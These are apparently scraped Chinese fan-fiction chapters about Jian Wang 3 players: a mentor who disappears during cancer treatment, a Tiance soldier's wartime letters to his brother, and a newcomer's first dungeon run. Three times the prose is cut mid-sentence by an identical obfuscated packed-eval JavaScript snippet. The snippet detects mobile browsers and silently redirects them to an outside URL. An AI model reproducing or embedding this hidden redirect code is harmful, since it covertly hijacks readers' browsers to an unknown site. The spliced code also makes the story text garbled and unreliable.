师兄忽视了师父的怪异,无时无刻不在表达对她的喜欢;祁乐也忽视了师父的怪异,依赖着她,在师父的庇佑下慢慢融入这个江湖。 如果她们知道未来会失去花姐的消息,一定一定会抓住每一丝反常。 每个周末,祁乐到家第一件事便是打开电脑登录剑网三,在游戏里一挂就是一整晚,最开始花姐还在想她是不是忘了下线,最后熬了一整晚在江湖daily上视奸了小咩后,她才发现这孩子是真通宵啊! 作为一只高中生咩萝的师父,花姐觉得自己很有责任抓小咩早睡! 为此,花姐早上抓羊起床,晚上抓羊下线,必要时抓大徒弟打工,势必维护小羊健康作息,保护小羊有可能再长长的身高! 直到现在,花姐已经a了很久了,师兄也成了社畜,再也没有人抓祁乐的作息,可她依旧每天早上九点起,在一众白天不醒晚上不睡的大学生中成了一股清流。 今天却是个意外。 三年前的今天,花姐没有上线,从此之后祁乐再也没有见过那个秦风花姐。 花姐消失后,祁乐从早到晚守在她的yy,一有空就给她发信息打电话,可是那些夹杂着思念的信息如同沉入了海底,毫无回应。 yy里时不时会有人跳进来,她们都是来问花姐为什么不上线,可祁乐哪里知道呢? 好友里“好山河我太阴”的名字旁边已经出现了小信封,咩萝挂在成都屋顶上,祁乐坐在电脑前,一双眼睛都熬出了红血丝。 师徒界面只有她的账号亮着,师父的号已经一个月没有上线过了,而师兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189304|181054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的号有日常代练,每天准时准点上线,只是发过去的密聊经常没有人回。 祁乐一直在三人小群里发着信息,没有人回她,时间久了祁乐也会生气,为什么不辞而别呢?她们都不见了,祁乐一个人,在长久的日子里怨恨着,可是一打开她们的小群,小羊就生不起来气了,再深的怨恨也抵不过思念,祁乐想,不玩就不玩吧,可为什么连联系都要断掉呢? 她做错了什么吗? 小羊吸了吸鼻子,没注意到yy里一个乱码小号进来又退了出去。 第二天,师兄上线时把ID改成了李系,这个道长变了很多,他叫她融融,无论玩什么都要带上她一起,他开始把自己的亲友介绍给祁乐认识,拜托他们在祁乐一个人的时候喊上她一起玩,甚至勤勤恳恳地抓羊起床和早睡,李是每次在群里敲祁乐,却发现她早就起了,颇有些拔剑四顾心茫然的既视感。 祁乐觉得不该是这样的,她觉得师兄变得不像师兄了,像师父。 李系是个pve玩家,以前他挂机的地点是成都和纯阳,现在却变成了万花,他挂机的时间越来越长,有时候祁乐找过去,会发现他站在裴元或是孙思邈身边。 “师兄你知道师父为什么不玩了吗?”祁乐总是这么问李是。 李是沉默了半晌,连声音都变得无精打采起来:“我不知道。” 祁乐觉得师兄肯定知道,她总是问总是问,一晃时钟转了几百圈,祁乐考上了大学,师兄也毕了业,出了社会开始上班。 只是祁乐花在游戏里的时间越来越多,而师兄越来越忙,时常只能在半夜上线,做日常的时间都没有。 有时候,师兄带着满身疲惫,跳到yy,发现祁乐还在,便会问:“融融,你怎么还不睡觉?” “融融,明天不上学吗。”祁乐高中时师兄总是这样问。 祁乐上大学后就变成了:“融融,明天没早八吗?” 祁乐从回忆中挣脱出来,回答:“没有呀,明天的课在下午。” “哦,这样啊。”李是回答,语速很慢很慢,祁乐听到了易拉罐放在桌子上的声音。 “师兄,我想师父了。”祁乐这样说。 “嗯,我也想她。” 祁乐嗓子发紧。 师兄今天的状态很奇怪,她一直觉得师兄知道些什么,可这三年无论她怎么追问都没有得到过答案,她便只能根据师兄的反应去猜测师父的现状。 可这个反应是什么意思呢? 祁乐猜不到,她再问,师兄却已经在赶她去睡觉了。 曾经祁乐会为了从师兄口中撬出来师父的消息而不断追问,问到最后她总是会和师兄吵起来,她不开心,师兄也不开心,她觉得师父也不会开心。 久而久之,师兄妹二人形成了一个诡异的默契,一但李是让她下线,她就不能再问了。 听着师兄那边不断响起的开易拉罐的声音,祁乐一股郁气堵在心头,说了声“师兄晚安。”便下线了。 第二天祁乐再上线已经是吃完晚饭后了。 她照常签到,做日常,找信使领信。 一水的官方信件中,突然出现了“非官方”三个字。 【非官方】好山河我太阴 亲爱的融融,为师…… 祁乐愣住,下意识esc退出页面,她打开好友页面,那个号依旧不在线,打开师徒页面,最后登录:14小时前。 祁乐揉了揉眼睛,那个时间没有变换。 她再次打开了信箱。 亲爱的融融!为师回来啦! 很抱歉不告而别三年,不知道我回来小咩还愿不愿意认我这个师父呢? 我这个师父真的很不称职了,没怎么教你手法,带着你一块当咸鱼,本来想着等你高考完再带你认真玩,没想到最后连陪着你都做不到。真的很对不起啊融融。 三年前我查出胃癌,当天就办了住院,没告诉你是不想让你担心,原本我想着等好些了就回来带你玩,很可惜,半年后扩散了,我不知道能不能活下来,你又是个很容易被影响的小孩,我真的很怕我的死亡会影响你,毕竟那个时间段对你来说很重要不是么。 再后来,你师兄说你总是提起我,让我给你发发消息,可我真的怕问我,我肯定会露馅,你肯定会想来看我。哼哼,为师还不了解你嘛~说实话,我挺庆幸当年没有同意你的面基提议,不然你肯定会找过来,到时候看到我那副模样肯定哭得很惨。 我要是真没扛过来,你这小孩不得哭死去。 哎,小孩就该开开心心的嘛,怎么对一个网友这么执着呢? 她都二十了还把她当小孩呢,祁乐瘪嘴,她几乎能想象到花姐的语气。 她怎么能不对她执着呢?这么好的人,自己都难受成那样了,还要担心她。 你的好友好山河我太阴上线了。 你的师父好山河我太阴上线了。 祁乐进了yy,师父和师兄在里面闲聊,见她进了yy,花姐就喊她,和从前一样的语气:“融融呀~” 恍惚间,祁乐仿佛变回了那个小咩萝,好像什么都没有变,眼泪从脸颊滑落。 “师父……”她喊,和从前一样的语气。 4. 新兵小策出击! 前情提要:一期一周《殊途同归》 没看过也没关系,并不影响 李牧云和裴在起了争端,独自一人去了天策。 他二十来年的人生,从未想过会和在哥分别,初到天策的李牧云夜间惊醒都是那滴未能抓住的泪,在哥怎么样了? 天策的训练很累,太阳又毒辣,李牧云三年游历都没怎么黑的皮肤在天策再也没白皙过,有时他累到恍惚,想起裴在,眼前全是他那副翩翩公子的模样。 李牧云时常感叹,还好在哥没来天策,他这种读书人哪里受得住从早到晚的训练。 一晃一个月过去了,李牧云早早地出了新兵营,跟着骑兵队伍开始了训练。 这几年战役异常地多,天策也是缺人得很,李牧云入队第三天便上了战场。 上战场前,每人都写了一封堪称遗书的信,很多人并不识字,便是口述给会写字的队友请求他们代笔。 李牧云已经没有了家人,可他扯着信纸,细细碎碎地写了很多,这些全都是给裴在的。他原本想着,等再见到在哥便同他道歉,为自己说过的那些话,可若是见不到呢?李牧云思索了很久,最后还是写上了。 “在哥,在洛阳那日是我不对,说出那样的话我真不是个东西。我知道在哥是什么人,我也知道在哥你心里有多难受,对不起啊在哥,我若是不那么冲动,是不是就不会说出那些伤人的话了? 如果我同你在一起,我肯定会让你打我一顿的!在哥,我真的很后悔,可我看不到你,我不知道你看到这封信会是什么想法,什么表情,我想你肯定会想来揍我的,到时候我肯定不会还手的。只是在哥,我真的怕我再也见不到你。” 他写着绝笔信,李牧云幼时跳脱,总是闯祸,总是挨罚,可他从不后悔,他此生唯二后悔的事,一是没能早些回到洛阳,二却是太早回了洛阳。 他后悔那次争吵,却并不后悔争吵导致的分别,在哥并不适合天策,如裴在不想让他来天策,他同样不想让裴在来天策,万花很适合他。 李牧云写完,便将信纸压在一旁晾着,开始帮战友写代笔信,一封又一封,父母长辈,妻子儿女,那些不会读书写字的人将一切执念都留在了这封信上。 队正将信收走了。 若是有人没能从战场上下来,这些信便会送到他们所写的地址,交到该交的人手上。 李牧云不想让裴在看到这封信,他还是想再看看他,当面道歉。 所以,他一定会活下来。 战场上,李牧云跃跃欲试,骑着飞云冲在了最前头,战场上人不是人,大多只是损耗品,李牧云杀了很多人,也失去了很多战友。 这场战役结束后,营里多了很多尸体,伤兵营几乎住不下人,到处都是断了手脚的将士,李牧云捂着左肩,坐在角落。 若不是他反应快,这左手也保不下来,李牧云惊魂未定。他在战场上杀红了眼,回过神来身边已是满地尸体,偌大的天地间,竟然找不到一个熟识的人。 李牧云抓紧了缰绳,收兵的号角声响起,他几乎是逃一般地转身,僵硬地往回走去。 突然,身后传来动静,李牧云转身,一只长枪自远处投掷而来,他只来得及调整姿势,险而又险地避开了要害。 长□□破他的肩膀,钉在他的锁骨上方,离脖子还是关节都不过寸许。 隔着尸山血海,李牧云看到了那个人,他靠在一具尸体上,猩红的双眼,脸上全是血污看不清面容,可他脸上的恨意精准地被他识出。 这个人要死了,他已经没了站起来的力气,李牧云拔下那杆长枪,回身,掷了出去,那人没法躲开,惊恐地看着自己投掷的长枪返回插入他的心脏。 李牧云脸上淌着泪水,口中喘着粗气,伸手拍了拍飞云的脖子,便趴在了它的背上,飞云很聪明,驮着他跑了起来。 那封信没能寄出去。 但他寄了一封新的信,信中他写自己神勇无敌,敌军中七进七出毫发无伤。 战场是会磋磨人的心神的,心大如李牧云也在心中积压了无数苦痛。 一晃,大年三十了,这是李牧云二十来年的人生,第一次没有同裴在一起过年,他吃着炊事班包的饺子,第一口很好吃,只是越吃越咸了。 李牧云想念裴在。 军营里没什么新年氛围,枪还是要练,战场还是要上,人还是会死。 李牧云在天策最熟悉的人也死了,那是他新兵营的教习。 曾经教了他很多,最多的是怎么在战场上活命,李牧云一度以为教习是个贪生怕死的人,可他是怎么死的呢? 为了救人。 一个普普通通的,胆子小到连战场都不敢上的小兵。 李牧云躲起来哭了,他很想给裴在写信,如果在哥在他面前,他一定要抱着他哭个痛快,可他不在。 在信使那写信时,李牧云撕了好几张纸,信使一骂他,他就掏个铜板给他,拿人手短,吃人嘴软,信使看他鼻子不是鼻子眼睛不是眼睛,终归还是没说什么。 李牧云磨蹭了很久,写了一封极为简短的信,信使接过拿去装信封时撇了一眼。 “在哥,我真不愧是傲血天才!依旧毫发无损!” 信使抬头,看着一脑袋绷带,身上包得连盔甲都套不上的青年,嘴角抽了抽。 李牧云是整个军营里寄信最多的人,三天两头往他这跑,所以他转交出去的信件每一次都会有一封是寄往万花谷的。 都是李牧云的。 “这裴在到底是你什么人呀?为何你每次信件都是寄给他的?” 李牧云抿唇:“是我哥哥,他是我唯一的家人了。” “也是我……” 后一句他的声音突然小了下去,信使没能听清,再问,他却不说了。 李牧云到天策的第二年,反攻开始了。 两军死伤越发多了,狼牙军节节败退,天策将士士气高涨,李牧云觉得,要不了多久自己就能去见在哥了。 如果他没死的话。 初至天策的李牧云,觉得以自己的能力会成为天策有名的将士,参加的战役越多,他便觉得自己何其渺小,如今在战场上,他只求能保住一条命。 李牧云越发小心,越发警惕,可战役规模那样大,他逐渐力不从心起来,可这又是正缺人的时候,往往他伤还没好全,又去了战场。 天策离洛阳很近,从反攻开始的那一刻,李牧云就在期盼着夺回洛阳的那一刻,他总是远远地看向家乡的方向,压下了心中叫嚣的惧意,拼尽全力。 那是李牧云参加的规模最大的一场战役,他如往常一样写着自己的绝笔信,他第一次写信时连笔都拿不稳,身上已经只剩下瘢痕的疤在隐隐作痛,李牧云不知道这是他在害怕还是激动。 墨迹落在纸上,他愣了一瞬,正想换纸重写时抬头看到在他面前想请他代笔的战友,他停了手上的动作,问道:“你想好了要写什么吗?” 天策将士点了点头。 李牧云将自己未写完的信压到一旁,换了纸道:“那我先帮你写吧。” “啊没事没事!李哥你先写!我不着急的。”天策将士摆手。 “我只是还没想好些什么。”李牧云笑道,“来吧。” 那个天策闻言也不再推脱,坐在他对面说了起来。 帮队里的人写完信后,李牧云还是没有想好自己要写什么,其实以前的信他都有好好收着,在哥的回信,以及他未曾寄出的信。 李牧云总是有很多话想和在哥说,可他不想和在哥说他受伤的事,更不想和在哥说他感觉自己这次会死在战场上。 他很久没见他了,可他还是不想让他来天策,今时不同往日,他们游历天下时天下安定,除了山间野兽几乎没有碰到过危险,连江湖恩怨他们都没有被牵扯进去过。 如今天下大乱,无论在哪里,都有可能身死,万花隐居于山谷中,李牧云想,那里很安全。裴在曾说他被谷中万花弟子拦着不让走,李牧云看着信,几乎能想象出在哥倔强气愤的神情,如果万花谷能拦他一辈子多好,至少能一生安稳,寿终正寝。 李牧云拿着那封滴了墨的信,难得没有重写,他思索了很久,跑去找自己的将领。 他问:“统领,如果这次我死了能不能把我烧了,托人带到万花去?” “?” “烧完之后随便找个什么坛子装着就行,我不挑的。”李牧云以为哪里没说清楚,又补充道。 “你有病吧?”李牧云挨骂了,“给自己挫骨扬灰?” “不是,我如果死了也得回去呀,不然我哥肯定会跑来找我的!可是他武功不好,我怕他……”李牧云低下头。 李牧云有个哥,他总是给他写信,喝醉了酒总是哭着嚎着喊在哥,很多人都知道,统领也知道。 “李牧云,还是活着吧,活下来自己去找他。”统领这样说着。 李牧云出来后将心落回了肚子里,军营中总是讲究避谶,死啊死的不要乱说,他的领头上司虽没直接答应他,却也没有拒绝他的请求。 李牧云这么多次战役第一次掉下了马,人太多了,飞云不知道去了哪里,李牧云在地上翻滚几圈,好不容易站稳身子,数把长枪便冲他刺了过来,李牧云仓皇躲避。 他使着曾经在龙门客栈学会的江湖武艺,从未如此庆幸过自己的武功不错,哪怕没有马儿辅助,他也支撑了许久。 只是骑兵与步兵到底不同,天策没了马匹便落了下乘。 李牧云的盔甲都被染红了,额角的血流进了眼睛里,他看不太清东西,凭着本能出枪收枪躲避,直到此次战役结束的号角声响起。 李牧云脱力倒在地上,战场中骑兵往往冲在最前头,他离营地太远了,后勤部队打扫战场不知道什么时候才能捡到他,身上的伤口都在流血,李牧云浑身发冷。 完蛋了,真的见不到在哥了。 李牧云微微皱眉,有水顺着脸颊流下。 他眼前发黑,视野中没有站着的人,没有人能找到他。 绝望涌上心头。 突然,有什么温热的东西从脸上划过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189305|181054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李牧云奋力睁开眼,熟悉的白马儿站在他面前。 “飞……飞云……”李牧云艰难地发出声音。 突然他反应过来什么:“飞云!” 白马儿被染成了小红马,不知道吃了多少苦头,也不知道它从哪里过来的,更不知道它是如何在成千上万的尸体中找到了李牧云。 李牧云伸手搭在它的脸上,指尖轻动:“好飞云。” 飞云在他手上蹭了蹭,趴在了他的身边,一双温润的眼睛看着他,轻轻叫了几声。 李牧云连站起来的力气都没有,可他懂飞云的意思,他咬牙,抓着缰绳往马背上爬去。 飞云安静地等着,时不时回头看他,李牧云在马背上拍了两下,飞云嘶鸣一声,站了起来,李牧云趴在马背上,双臂垂落,半睁着眼。 不知过了多久,他听到飞云在嘶鸣。 “有人!” “快来人啊!” “军医呢!军医在哪!” 还有杂乱的人声。 熟悉的盔甲映入眼帘,李牧云终于晕了过去。 “李牧云!你在哪!李牧云!”眼前白茫茫的一片,熟悉的少年站在天地间。 少年脚边是数不清的尸体,他蹲下,一个一个翻看去看,突然,他的身后出现一人,手中长刀高举。 “在哥!” 李牧云喊得撕心裂肺。 他猛地坐起,脑袋涨得发痛,眼前的人消失了。 “哎哎哎!快躺下快躺下!”军医看到这边场景,连忙喊道。 李牧云甫一抬头,就被突刺到眼前的人强摁着平躺下去。 “嗯?” “你不要命啊!伤口又裂开了啊啊啊啊!” 李牧云后知后觉地察觉身体各处的疼痛,轻哼出声。 “几天了?”他咬着牙,问。 “十五天了。”军医立马回答,这些天每个重伤醒来的天策都会这么问。 李牧云瞪大了眼,撑着手便要起来,军医怎么劝都没劝得住,这人一身牛劲,军医气急在他尚未好全的伤口一戳。 李牧云“哐当”一声摔回了床上。 “你找死吗?这里就你伤得最重,你不想活了啊!”军医大骂,声音引来了屋外的人。 “李牧云,你做什么?”李牧云的领头上司正好在外头,一进来发现是自己的兵在闹事,脸色极其难看。 “队长,在哥半个月没收到我的信了,他肯定急死了。”李牧云声音哽咽。 “你写好了托人送去信使那不就好了吗?”统领困惑,他的兵打仗把脑子打坏了? 李牧云眼神都空白了一瞬。 是哦。 李牧云实在着急,那信使跟他关系也好,专门找人加急送去了万花,只是收信人早就离开了,这封信无人可收,便退了回来。 李牧云垂死病中惊坐起,又闹了起来,三个人都没能拦得住他,有人急匆匆出门去请他的统领。 他摇摇晃晃往外走去,一身绷带沁出了血,眼前天旋地转,手刚撑上门框,腿脚一软,又倒了。 李牧云终于老实了。 又过了些日子,李牧云能下床了,他去了马厩,飞云身上也有很多伤,这匹和他游历大唐,出生入死的马儿看到他就亲昵地来蹭他,李牧云举着草料放在它的嘴边喂它,思虑良久放弃了带飞云去找人的决定。 他伤没恢复,没什么力气,拿不起枪也走不远,托了许多人打听只知裴在早就离开了万花,在哥一定是来找他来了。 李牧云总是坐在在天策府前的土坡上,那是天策府为数不多地势高的地方,坐在那能看得很远,他在这儿等他的在哥,还有一只名叫阿飞的大黄狗也在这等它的兄弟。 李牧云听说过那只外号“阿飞营”的营队,无人生还,阿飞等不到他们了。 他有时候会带点肉干出来,很快便和阿飞打好了关系,阿飞总是吃一半留一半,剩下的在树底下刨个坑,藏进去。 这里总是会出现陌生的侠士,他们都会去找阿飞说话,李牧云想可能是阿飞的战友拜托他们的。 有时候这些人也会来和他说说话,李牧云觉得他们和他曾经认识的纯阳道士很像,很热心,就是说话奇奇怪怪,李牧云也会拜托他们帮忙打听一下裴在,有人听说这个这个万花弟子,他在找人,也在各地不求回报地救了很多人。 李牧云听着,很难想象这是裴在,他总是觉得帮别人做什么事都要有理由要有利益,在哥的善良是有限制的,是什么改变了他呢? 那次争吵吗?还是别的什么东西?他在信中说的那位孙爷爷? 李牧云想不明白。 跟搭话的侠士道别后,他看着远方发呆。 “李牧云!” 身后突然传来熟悉的声音。 李牧云回头,裴在已经到了他面前。 裴在伸手,李牧云想他肯定是想抽他,他没有躲开,那只手却只是从他的头顶挥过,掀起一阵带着药味的轻风。 李牧云眼眶红了,喃喃喊道:“在哥。” 5. 不是说当独行大侠吗 [世界]:我靠,洛道有个中二病咩! 全民pve时期,剑网三热度还不错,大学课程也不多,一天到晚没事干的李是入坑了剑网三。 那会还没有直升丸子,玩家只能老老实实升级,升级路上也会有玩家蹲守萌新徒弟,很可惜,李是自认为是个独狼。 少年中二期还没过。 开口:我要一个人闯荡江湖 闭口:我要独行江湖惩恶扬善。 如此震撼一众玩家,直至满级也没有拜上师父。 李是捏着一张自认为bking的帅脸,满级后跟着大侠之路的指引去打了大战,他想着 我是独狼,我要一个人打大战。 于是刚满级的羊顶着一身升级装进了大战本,这只羊在本里闷着头向前冲,引了一大堆的怪,被拍死,复活,又被拍死,又复活…… 如此反复反复再反复,李是放弃了。 他灰溜溜地出本,看着地图上的“大随来”点了申请,重振旗鼓再次冲进了本里。 等到队友向前走,他才发现,原来地图上的红名根本不不用打! 李是跟着队友跳山到了老一面前,羊眼睛亮了亮。 人到齐了,却迟迟没人动,奶妈蹦蹦跳跳扔出一个商阳指,一瞬间电脑屏幕上出现无数特效,李是也跟着狂甩技能,突然屏幕上的道长“啊”地一声,倒地不起。 李是有些懵圈,还没等他问,奶妈就贴了他的ID。 [小队][好山河我太阴]:[李是]咩咩,稍微躲一下技能!我装分不太够,你不躲我奶不起来呀。 李是回了个好,被拉起来后跟着众人前往了第二个boss。 期间。 羊跳山,没跳上去。 羊下山,啪嗒一下摔死在花姐脸上。 花姐任劳任怨地将他拉了起来,结果老二,这只羊再次被红烧了。 花姐脾气很稳定,安静地拉他起来,安静地跳山,安静地在老三站住。 下一秒,李是的密聊响了。 [密聊][好山河我太阴]:咩咩,你是不是看不到技能?要不你右键点我跟随吧?我带你躲技能。 李是回了好,善用百度,很快电脑上连拓印都没有的羊拎着剑跑到了花姐身后。 这一次,电脑上的小人没死。 boss倒下的一瞬间,小队里蹦出好几句辛苦了,随后都退了队。 [小队][好山河我太阴]:咩咩,你是萌新吗? 那个看起来很好说话的花姐没走,反倒是这样问了。 李是很困惑。 [小队][李是]:萌新是什么? [小队][好山河我太阴]:好的,百分百纯萌新。 随后花姐又解释。 [好山河我太阴]:就是小白啦,没玩过这个游戏的。 [李是]:我确实没玩过。 [好山河我太阴]:咩咩考不考虑找个师父哇!不说别的,大战我肯定能带你打! 李是很困惑,为什么这个游戏的人都执着于给陌生人当师父? 他这样想着,便也这样问了。 [好山河我太阴]:不知道哎,不过我就是看你好像什么都不知道,寻思着可以带一下。毕竟这游戏没人带根本不知道玩什么嘛,体验感超不好的! 李是沉默,李是沉思。 [好山河我太阴]:而且我看你技能也不躲,伤害也低,是不是插件没弄,宏也没设置呀? 伤害也低。 伤害也低…… 伤害也低! “独行大侠”中二病咩创业未半而中道崩殂。 于是,羊有了师父,花也有了第一个徒弟。 花姐很是兴奋,拉了李是去yy,又加了好友,狂发教学贴。 李是很闲,花姐也很闲,两人用一个下午的时间缓慢地弄好了插件,宏,技能监控,改键位等等一系列事情。 花姐有很多亲友,师门人也很多,当天晚上,李适合花姐在YY挂着聊天,一大堆人冲进了YY。 “小陆小陆你收徒弟啦?” “对呀对呀!我收徒弟啦!是个气纯哎!”花姐很兴奋,高兴地说着。 “拉群里面一起玩呀!” “好呀好呀!”花姐笑道,旋即问李是,“李系你来不来呀?” 从yy里面人多起来时,李是就开始放空,听到师父说话他还在想,小陆是谁?李系又是谁? “李是?”花姐又在喊他。 “啊?李系是在叫我吗?”他问。 “对呀!可以吗!”花姐语调上扬,听起来元气满满。 像动漫里的女角色,李是愣了愣,回答:“可以的!” 进了群,花姐@他,向大家介绍他,群里面的人也很捧场。 “朝朝居然也收徒弟了!” 朝朝?李是看着群里的聊天消息,又看了看花姐的昵称——陆朝朝。 大家七嘴八舌地说着,更有人问他的ID加了他的好友,给他塞了很多小玩意。 大家都说:“道长以后一起玩呀!” 李是眼睛又亮了,道长也是说他吗!? “道长就是指你玩的纯阳成男哦。”花姐密聊他解释。 李是了然,在群里回答:“好的,以后一起玩啊!” 队伍里进了好些人,陆朝朝把队伍转成了团队。 “哎,怎么是你!”yy里一道洪亮的声音响起,力压一众叽叽喳喳小麻雀。 “师兄认识李系吗?”陆朝朝问。 “何止认识啊!”整个群里唯一的剑纯大喊,“我蹲了那么久才见着的羊!跟我说他要一个人闯荡!死活不肯拜师!可恶啊!不是要当独行侠吗?怎么拜我们朝朝为师了!我这个十三段大手子剑纯不配吗!” 李是也没想到会这么巧,莫名有些心虚。 他正不知道怎么回答,就听师父笑嘻嘻地说:“剑气自古不合嘛,一点也不ooc呀!” “你居然还玩的气纯!气纯能当大侠吗?必须来玩我们无敌的剑纯啊!你问问多少人找我上分呢!” 李是觉得很有道理,于是他说:“可是紫霞功很帅哎。” “哈哈哈哈哈哈哈哈!”yy里笑作一团,只有剑纯彻底自闭,在往后的日子里如同怨灵一般,每天密聊李是称赞剑纯,誓要让他转职剑纯一雪前耻。 混乱的yy里,突然有人问道:“秘籍点完了吗?我手上还有蛮多监本。” “还没有哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189306|181054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,来点来点!”陆朝朝回答。 “行,我去换,气纯的是吧?” 监本又是什么?李是思索,再次百度。 他发了个密聊。 [密聊][李是]:师父,我这样拿别人的东西不好吧? “啊?没关系呀,大家关系都很好的啦!而且你是我徒弟哎!师叔师伯给你的东西都老实拿着啦!”花姐在yy里说道。 “什么?” “咩咩密聊我说拿你们东西不好意思啦。” “嗨,这有啥,都是小玩意啦,很容易做的,话说包包有吗?” 李是觉得自己有点死了。 在师父的带领下,李是独行大侠的梦想彻底破灭了,他发现在这个游戏里,人很容易有牵扯,但他并不讨厌,有人一起玩确实很有意思! 在这个时候,群里小部分人是社畜,大部分是大学生,大家都是夜猫子,经常凌晨还有一堆人在yy挂着,不玩游戏纯唠嗑。 而白天,基本就师徒二人在,陆朝朝似乎不上班,白天无论什么时候都能看到她的花姐号在线,李是看到她就一定会去找她。 李是总是在yy,和花姐一起日常,只是那时候的日常并不多,有时候还要存着等亲友一起做,所以白天单纯的挂机其实很无聊。 好在,花姐的剑三里有很多乐子,每一个npc都是她的朋友,她总是喜欢在近聊和npc说话,她会去问慕容追风后不后悔让她帮忙杀了无常鬼?也会去五毒问曲云什么时候会带着孙飞亮回七秀坊看看呢? 有时候李是来找她,她会和他说npc的剧情故事,说着说着陆朝朝的声音就会带上几丝气音,李是并不能明白,却听得很认真,所以花姐喜欢和他说,她的徒弟是个很好的听众。 李是在游戏里至少有三分之二的时间是和师父在一起,他发现师父很喜欢给人取外号,就像他被师父称作李系,而那个曾经被他拒绝拜师的剑纯被她称作灰太狼,因为他时至今日还在锲而不舍地洗脑李是,妄图让他切太虚剑意,每次被拒绝,他就会说出类似于“我一定会回来”的话。 每个人在师父那都有一个新的名字,久而久之她起的外号成了他们亲密的象征。 有时候李是要上课,上线比平时晚些,他就会发现师父总是在万花,他去找她,她的面前不是裴元就是孙思邈。 李是有些困惑,他去问,师父就说:“哎呀哎呀,求大师兄给我黑个韶华故啦!” 没有人不想要奇遇,师父总说她喜欢韶华故给的头发,李是从不怀疑,只是学着她冲npc拜了三拜,说:“希望师父早日出韶华故。” 每当这个时候,陆朝朝就会笑着说:“徒弟你真有意思!” 李是不知道她在笑什么,只跟着笑。 很久之后,他出了韶华故,去搜教程,才发现奇遇给的发型早就在花姐头上出现过。 陆朝朝在线时间很长,半夜的活动却很少参与,最多十一点她就会下线,从人群中消失不见。 正巧这会李是也到了宿舍熄灯的时间。 师徒二人齐齐下线。 第二天,照常有一堆人喊他们一块玩。 李是过了很久再回想小白时期,无比庆幸那次大战遇到的人是花姐。